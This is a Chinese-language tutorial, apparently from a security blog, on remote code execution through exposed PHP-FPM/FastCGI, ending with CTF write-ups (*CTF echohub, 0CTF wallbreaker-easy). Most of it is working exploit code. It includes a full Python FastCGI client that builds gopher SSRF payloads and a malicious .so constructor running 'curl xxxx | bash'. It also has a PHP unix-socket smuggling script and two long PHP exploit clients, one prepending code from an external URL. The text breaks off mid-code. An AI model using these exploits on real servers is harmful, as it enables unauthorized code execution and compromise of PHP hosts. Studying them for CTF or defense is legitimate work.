PHP-FPM RCE攻击
0x00 something
PHP-FPM(FastCGI Process Manager):FastCGI进程管理器
FastCGI FastCGI
本身是一个协议,是服务器中间件和某个语言后端进行数据交换的协议
fastcgi
协议由多个 record
组成,record
由 header
和 body
组成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
PHP-FPM PHP-FPM
是 一个实现和管理 FastCGI
协议的进程
PHP-FPM
按照 fastcgi
的协议将 TCP
流解析成真正的数据
一般来说,apache
通过 mod_php
来解析 php
,nginx
通过 php-fpm(fast-cgi)
来解析 php
。apache
也可以设置为 php-fpm
方式
mod_php
通过嵌入 PHP
解释器到 apache
进程中,只能与 apache
配合使用
而 cgi
和 fast-cgi
以独立的进程的形式出现,只要对应的Web服务器实现 cgi
或者 fast-cgi
协议,就能够处理 PHP 请求
0x01 PHP-FPM 的模式 nginx 与 php-fpm
通信可以通过两种模式,一种是 TCP
模式,一种是 unix
套接字 (socket
) 模式
TCP 模式 php-fpm
进程会监听本机上的一个端口,默认为9000
,然后 nginx
会把客户端数据通过 fastcgi
协议传给 9000
端口,php-fpm
拿到数据后会调用 cgi
进程解析
nginx的配置文件/etc/nginx/sites-available/default
:
1 2 3 4 5 location ~ \.php$ { ... fastcgi_pass 127.0.0.1:9000; ... }
php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf
:
Unix Socket unix 系统进程间通信方式,需要通信的两个进程引用同一个 socket
描述符文件就可以建立通道进行通信
nginx 的配置文件/etc/nginx/sites-available/default
:
1 2 3 4 5 location ~ \.php$ { ... fastcgi_pass unix:/run/php/php7.3-fpm.sock; ... }
php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf
:
1 listen= /run/php/php7.3-fpm.sock
0x02 任意代码执行 普通 RCE PHP-FPM
的两个环境变量: PHP_VALUE
和 PHP_ADMIN_VALUE
,用来设置PHP配置项
PHP_VALUE
可以设置模式为 PHP_INI_USER
和 PHP_INI_ALL
的选项
PHP_ADMIN_VALUE
可以设置所有选项,但 disable_functions
除外
和php-fpm
进行通信,执行php代码
来自p神的文章: https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1
找到一个已存在的PHP文件
设置 auto_prepend_file
为 php://input
且 allow_url_include = On
,在执行任何php文件前都要包含一遍POST
的内容,把待执行的代码放在Body
中
或者 auto_prepend_file
为 自己的vps地址
但这种方法受限于 disable_functions
绕过 disable_functions
RCE 可以引入扩展 .so文件
,hook函数,达到绕过 disable_functions
来RCE的效果
1 PHP_ADMIN_VALUE['extension'] = hack.so
生成 .so
文件的工具 https://github.com/w181496/FuckFastcgi/
或者
1 2 3 4 5 6 7 8 9 10 11 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("curl xxxx | bash" ); }
0x03 attack 9000端口暴露在外网(未授权访问) 修改 php-fpm
的监听端口为 0.0.0.0:9000
,也就是任何ip都能访问9000端口,就可以与 php-fpm
进行通信,伪造 fastcgi
协议包进行任意代码执行
exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
SSRF打9000端口 如果9000端口没有开放在外网,可以通过SSRF来打,原理同上
修改后的exp(点击查看):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 import socketimport randomimport argparseimport sysfrom io import BytesIOimport base64import urllibPY2 = True if sys.version_info.major == 2 else False def bchr (i) : if PY2: return force_bytes(chr(i)) else : return bytes([i]) def bord (c) : if isinstance(c, int): return c else : return ord(c) def force_bytes (s) : if isinstance(s, bytes): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s) : if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8' , 'strict' ) else : s = str(s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive) : self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict() def __connect (self) : self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid) : length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value) : nLen = len(name) vLen = len(value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream) : header = dict() header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer) : header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ) : requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId) : data = b'' while True : buf = self.sock.recv(512 ) if not len(buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self) : return "fastcgi connect host:{} port:{}" .format(self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help='FastCGI port' , default=9000 , type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len(content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } request = client.request(params, content) print "to base64 :" print base64.b64encode(request) print "to ssrf :" print urllib.quote("gopher://127.0.0.1:" + str(args.port) + "/_" + request)
Socket通信 直接与 Socket 进行通信,伪造fastcgi
协议包进行任意代码执行
1 2 3 4 5 <?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock' ); fputs($sock, base64_decode($_POST['A' ])); var_dump(fread($sock, 4096 )); ?>
POST 方式 A
参数传入 base64 编码的 payload
默认套接字的位置在 /run/php/php7.3-fpm.sock
如果不在的话可以通过默认 /etc/php/7.3/fpm/pool.d/www.conf
配置文件查看套接字路径,或者 TCP
模式的端口号
0x04 CTF *CTF echohub https://github.com/CTFTraining/starctf_2019_echohub
题目环境是以 apache-module
运行的 php ,但是安装了所有的php拓展并且开启,也包括php-fpm
也就是说还有一个不带disable_function
限制的php环境 php-fpm
开启
题目环境运行的 php 无法利用,就来攻击这个 php 实现命令执行
wp: https://xz.aliyun.com/t/5006#toc-3
0CTF/TCTF2019_Quals wallbreaker-easy 题目如下
1 2 3 4 5 Imagick is a awesome library for hackers to break `disable_functions`. So I installed php-imagick in the server, opened a `backdoor` for you. Let's try to execute `/readflag` to get the flag. Open basedir: /var/www/html:/tmp/06a2b932e87aa986fbd92a0582b9e655 Hint: eval($_POST["backdoor"]);
官方Hint:
1 Ubuntu 18.04 / apt install php php-fpm php-imagick
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php $dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]"); mkdir($dir); ini_set('open_basedir', '/var/www/html:' . $dir); ?> <!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body> <pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`. So I installed php-imagick in the server, opened a `backdoor` for you. Let's try to execute `/readflag` to get the flag. Open basedir: <?php echo ini_get('open_basedir');?> <?php eval($_POST["backdoor"]);?> Hint: eval($_POST["backdoor"]);
题目是一个限制了 open_basedir
和 disable_functions
的webshell
题目有很多种解法,这里记录一下利用 PHP-FPM
来绕过 open_basedir
的限制,读到flag
这里贴两个exp
exp1(点击查看):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 <?php class FCGIClient { const VERSION_1 = 1 ; const BEGIN_REQUEST = 1 ; const ABORT_REQUEST = 2 ; const END_REQUEST = 3 ; const PARAMS = 4 ; const STDIN = 5 ; const STDOUT = 6 ; const STDERR = 7 ; const DATA = 8 ; const GET_VALUES = 9 ; const GET_VALUES_RESULT = 10 ; const UNKNOWN_TYPE = 11 ; const MAXTYPE = self ::UNKNOWN_TYPE; const RESPONDER = 1 ; const AUTHORIZER = 2 ; const FILTER = 3 ; const REQUEST_COMPLETE = 0 ; const CANT_MPX_CONN = 1 ; const OVERLOADED = 2 ; const UNKNOWN_ROLE = 3 ; const MAX_CONNS = 'MAX_CONNS' ; const MAX_REQS = 'MAX_REQS' ; const MPXS_CONNS = 'MPXS_CONNS' ; const HEADER_LEN = 8 ; private $_sock = null ; private $_host = null ; private $_port = null ; private $_keepAlive = false ; public function __construct ($host, $port = 9000 ) // and default value for port , just for unixdomain socket { $this ->_host = $host; $this ->_port = $port; } public function setKeepAlive ($b) { $this ->_keepAlive = (boolean)$b; if (!$this ->_keepAlive && $this ->_sock) { fclose($this ->_sock); } } public function getKeepAlive () { return $this ->_keepAlive; } private function connect () { if (!$this ->_sock) { $this ->_sock = fsockopen($this ->_host, $this ->_port, $errno, $errstr, 5 ); if (!$this ->_sock) { throw new Exception ('Unable to connect to FastCGI application' ); } } } private function buildPacket ($type, $content, $requestId = 1 ) { $clen = strlen($content); return chr(self ::VERSION_1) . chr($type) . chr(($requestId >> 8 ) & 0xFF ) . chr($requestId & 0xFF ) . chr(($clen >> 8 ) & 0xFF ) . chr($clen & 0xFF ) . chr(0 ) . chr(0 ) . $content; } private function buildNvpair ($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128 ) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24 ) | 0x80 ) . chr(($nlen >> 16 ) & 0xFF ) . chr(($nlen >> 8 ) & 0xFF ) . chr($nlen & 0xFF ); } if ($vlen < 128 ) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24 ) | 0x80 ) . chr(($vlen >> 16 ) & 0xFF ) . chr(($vlen >> 8 ) & 0xFF ) . chr($vlen & 0xFF ); } return $nvpair . $name . $value; } private function readNvpair ($data, $length = null) { $array = array (); if ($length === null ) { $length = strlen($data); } $p = 0 ; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128 ) { $nlen = ($nlen & 0x7F << 24 ); $nlen |= (ord($data{$p++}) << 16 ); $nlen |= (ord($data{$p++}) << 8 ); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128 ) { $vlen = ($nlen & 0x7F << 24 ); $vlen |= (ord($data{$p++}) << 16 ); $vlen |= (ord($data{$p++}) << 8 ); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } private function decodePacketHeader ($data) { $ret = array (); $ret['version' ] = ord($data{0 }); $ret['type' ] = ord($data{1 }); $ret['requestId' ] = (ord($data{2 }) << 8 ) + ord($data{3 }); $ret['contentLength' ] = (ord($data{4 }) << 8 ) + ord($data{5 }); $ret['paddingLength' ] = ord($data{6 }); $ret['reserved' ] = ord($data{7 }); return $ret; } private function readPacket () { if ($packet = fread($this ->_sock, self ::HEADER_LEN)) { $resp = $this ->decodePacketHeader($packet); $resp['content' ] = '' ; if ($resp['contentLength' ]) { $len = $resp['contentLength' ]; while ($len && $buf=fread($this ->_sock, $len)) { $len -= strlen($buf); $resp['content' ] .= $buf; } } if ($resp['paddingLength' ]) { $buf=fread($this ->_sock, $resp['paddingLength' ]); } return $resp; } else { return false ; } } public function getValues (array $requestedInfo) { $this ->connect(); $request = '' ; foreach ($requestedInfo as $info) { $request .= $this ->buildNvpair($info, '' ); } fwrite($this ->_sock, $this ->buildPacket(self ::GET_VALUES, $request, 0 )); $resp = $this ->readPacket(); if ($resp['type' ] == self ::GET_VALUES_RESULT) { return $this ->readNvpair($resp['content' ], $resp['length' ]); } else { throw new Exception ('Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request (array $params, $stdin) { $response = '' ; $this ->connect(); $request = $this ->buildPacket(self ::BEGIN_REQUEST, chr(0 ) . chr(self ::RESPONDER) . chr((int) $this ->_keepAlive) . str_repeat(chr(0 ), 5 )); $paramsRequest = '' ; foreach ($params as $key => $value) { $paramsRequest .= $this ->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this ->buildPacket(self ::PARAMS, $paramsRequest); } $request .= $this ->buildPacket(self ::PARAMS, '' ); if ($stdin) { $request .= $this ->buildPacket(self ::STDIN, $stdin); } $request .= $this ->buildPacket(self ::STDIN, '' ); fwrite($this ->_sock, $request); do { $resp = $this ->readPacket(); if ($resp['type' ] == self ::STDOUT || $resp['type' ] == self ::STDERR) { $response .= $resp['content' ]; } } while ($resp && $resp['type' ] != self ::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception ('Bad request' ); } switch (ord($resp['content' ]{4 })) { case self ::CANT_MPX_CONN: throw new Exception ('This app can\'t multiplex [CANT_MPX_CONN]' ); break ; case self ::OVERLOADED: throw new Exception ('New request rejected; too busy [OVERLOADED]' ); break ; case self ::UNKNOWN_ROLE: throw new Exception ('Role value not known [UNKNOWN_ROLE]' ); break ; case self ::REQUEST_COMPLETE: return $response; } } } ?> <?php if (!isset ($_REQUEST['cmd' ])) { die ("Check your input\n" ); } if (!isset ($_REQUEST['filepath' ])) { $filepath = __FILE__ ; }else { $filepath = $_REQUEST['filepath' ]; } $req = '/' .basename($filepath); $uri = $req .'?' .'command=' .$_REQUEST['cmd' ]; $client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock" , -1 ); $code = "<?php echo(\$_REQUEST['command']);?>" ; $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://kaibro.tw/gginin" ; $params = array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=' .$_REQUEST['cmd' ], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9985' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_LENGTH' => strlen($code) ); echo "Call: $uri\n\n" ;echo strstr($client->request($params, $code), "PHP Version" , true )."\n" ;?>
exp2(点击查看):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 <?php class TimedOutException extends Exception {} class ForbiddenException extends Exception {} class Client { const VERSION_1 = 1 ; const BEGIN_REQUEST = 1 ; const ABORT_REQUEST = 2 ; const END_REQUEST = 3 ; const PARAMS = 4 ; const STDIN = 5 ; const STDOUT = 6 ; const STDERR = 7 ; const DATA = 8 ; const GET_VALUES = 9 ; const GET_VALUES_RESULT = 10 ; const UNKNOWN_TYPE = 11 ; const MAXTYPE = self ::UNKNOWN_TYPE; const RESPONDER = 1 ; const AUTHORIZER = 2 ; const FILTER = 3 ; const REQUEST_COMPLETE = 0 ; const CANT_MPX_CONN = 1 ; const OVERLOADED = 2 ; const UNKNOWN_ROLE = 3 ; const MAX_CONNS = 'MAX_CONNS' ; const MAX_REQS = 'MAX_REQS' ; const MPXS_CONNS = 'MPXS_CONNS' ; const HEADER_LEN = 8 ; const REQ_STATE_WRITTEN = 1 ; const REQ_STATE_OK = 2 ; const REQ_STATE_ERR = 3 ; const REQ_STATE_TIMED_OUT = 4 ; private $_sock = null ; private $_host = null ; private $_port = null ; private $_keepAlive = false ; private $_requests = array (); private $_persistentSocket = false ; private $_connectTimeout = 5000 ; private $_readWriteTimeout = 5000 ; public function __construct ($host, $port) { $this ->_host = $host; $this ->_port = $port; } public function setKeepAlive ($b) { $this ->_keepAlive = (boolean)$b; if (!$this ->_keepAlive && $this ->_sock) { fclose($this ->_sock); } } public function getKeepAlive () { return $this ->_keepAlive; } public function setPersistentSocket ($b) { $was_persistent = ($this ->_sock && $this ->_persistentSocket); $this ->_persistentSocket = (boolean)$b; if (!$this ->_persistentSocket && $was_persistent) { fclose($this ->_sock); } } public function getPersistentSocket () { return $this ->_persistentSocket; } public function setConnectTimeout ($timeoutMs) { $this ->_connectTimeout = $timeoutMs; } public function getConnectTimeout () { return $this ->_connectTimeout; } public function setReadWriteTimeout ($timeoutMs) { $this ->_readWriteTimeout = $timeoutMs; $this ->set_ms_timeout($this ->_readWriteTimeout); } public function getReadWriteTimeout () { return $this ->_readWriteTimeout; } private function set_ms_timeout ($timeoutMs) { if (!$this ->_sock) { return false ; } return stream_set_timeout($this ->_sock, floor($timeoutMs / 1000 ), ($timeoutMs % 1000 ) * 1000 ); } private function connect () { if (!$this ->_sock) { if ($this ->_persistentSocket) { $this ->_sock = pfsockopen($this ->_host, $this ->_port, $errno, $errstr, $this ->_connectTimeout / 1000 ); } else { $this ->_sock = fsockopen($this ->_host, $this ->_port, $errno, $errstr, $this ->_connectTimeout / 1000 ); } if (!$this ->_sock) { throw new Exception ('Unable to connect to FastCGI application: ' . $errstr); } if (!$this ->set_ms_timeout($this ->_readWriteTimeout)) { throw new Exception ('Unable to set timeout on socket' ); } } } private function buildPacket ($type, $content, $requestId = 1 ) { $clen = strlen($content); return chr(self ::VERSION_1) . chr($type) . chr(($requestId >> 8 ) & 0xFF ) . chr($requestId & 0xFF ) . chr(($clen >> 8 ) & 0xFF ) . chr($clen & 0xFF ) . chr(0 ) . chr(0 ) . $content; } private function buildNvpair ($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128 ) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24 ) | 0x80 ) . chr(($nlen >> 16 ) & 0xFF ) . chr(($nlen >> 8 ) & 0xFF ) . chr($nlen & 0xFF ); } if ($vlen < 128 ) { $nvpair.= chr($vlen); } else { $nvpair.= chr(($vlen >> 24 ) | 0x80 ) . chr(($vlen >> 16 ) & 0xFF ) . chr(($vlen >> 8 ) & 0xFF ) . chr($vlen & 0xFF ); } return $nvpair . $name . $value; } private function readNvpair ($data, $length = null) { $array = array (); if ($length === null ) { $length = strlen($data); } $p = 0 ; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128 ) { $nlen = ($nlen & 0x7F << 24 ); $nlen|= (ord($data{$p++}) << 16 ); $nlen|= (ord($data{$p++}) << 8 ); $nlen|= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128 ) { $vlen = ($nlen & 0x7F << 24 ); $vlen|= (ord($data{$p++}) << 16 ); $vlen|= (ord($data{$p++}) << 8 ); $vlen|= (ord($data{$p++})); } $array[substr($data, $p, $nlen) ] = substr($data, $p + $nlen, $vlen); $p+= ($nlen + $vlen); } return $array; } private function decodePacketHeader ($data) { $ret = array (); $ret['version' ] = ord($data{0 }); $ret['type' ] = ord($data{1 }); $ret['requestId' ] = (ord($data{2 }) << 8 ) + ord($data{3 }); $ret['contentLength' ] = (ord($data{4 }) << 8 ) + ord($data{5 }); $ret['paddingLength' ] = ord($data{6 }); $ret['reserved' ] = ord($data{7 }); return $ret; } private function readPacket () { if ($packet = fread($this ->_sock, self ::HEADER_LEN)) { $resp = $this ->decodePacketHeader($packet); $resp['content' ] = '' ; if ($resp['contentLength' ]) { $len = $resp['contentLength' ]; while ($len && ($buf = fread($this ->_sock, $len)) !== false ) { $len-= strlen($buf); $resp['content' ].= $buf; } } if ($resp['paddingLength' ]) { $buf = fread($this ->_sock, $resp['paddingLength' ]); } return $resp; } else { return false ; } } public function getValues (array $requestedInfo) { $this ->connect(); $request = '' ; foreach ($requestedInfo as $info) { $request.= $this ->buildNvpair($info, '' ); } fwrite($this ->_sock, $this ->buildPacket(self ::GET_VALUES, $request, 0 )); $resp = $this ->readPacket(); if ($resp['type' ] == self ::GET_VALUES_RESULT) { return $this ->readNvpair($resp['content' ], $resp['length' ]); } else { throw new Exception ('Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request (array $params, $stdin) { $id = $this ->async_request($params, $stdin); return $this ->wait_for_response($id); } public function async_request (array $params, $stdin) { $this ->connect(); $id = mt_rand(1 , (1 << 16 ) - 1 ); $keepAlive = intval($this ->_keepAlive || $this ->_persistentSocket); $request = $this ->buildPacket(self ::BEGIN_REQUEST, chr(0 ) . chr(self ::RESPONDER) . chr($keepAlive) . str_repeat(chr(0 ), 5 ), $id); $paramsRequest = '' ; foreach ($params as $key => $value) { $paramsRequest.= $this ->buildNvpair($key, $value, $id); } if ($paramsRequest) { $request.= $this ->buildPacket(self ::PARAMS, $paramsRequest, $id); } $request.= $this ->buildPacket(self ::PARAMS, '' , $id); if ($stdin) { $request.= $this ->buildPacket(self ::STDIN, $stdin, $id); } $request.= $this ->buildPacket(self ::STDIN, '' , $id); if (fwrite($this ->_sock, $request) === false || fflush($this ->_sock) === false ) { $info = stream_get_meta_data($this ->_sock); if ($info['timed_out' ]) { throw new TimedOutException('Write timed out' ); } fclose($this ->_sock); throw new Exception ('Failed to write request to socket' ); } $this ->_requests[$id] = array ('state' => self ::REQ_STATE_WRITTEN, 'response' => null ); return $id; } public function wait_for_response ($requestId, $timeoutMs = 0 ) { if (!isset ($this ->_requests[$requestId])) { throw new Exception ('Invalid request id given' ); } if ($this ->_requests[$requestId]['state' ] == self ::REQ_STATE_OK || $this ->_requests[$requestId]['state' ] == self ::REQ_STATE_ERR) { return $this ->_requests[$requestId]['response' ]; } if ($timeoutMs > 0 ) { $this ->set_ms_timeout($timeoutMs); } else { $timeoutMs = $this ->_readWriteTimeout; } $startTime = microtime(true ); do { $resp = $this ->readPacket(); if ($resp['type' ] == self ::STDOUT || $resp['type' ] == self ::STDERR) { if ($resp['type' ] == self ::STDERR) { $this ->_requests[$resp['requestId' ]]['state' ] 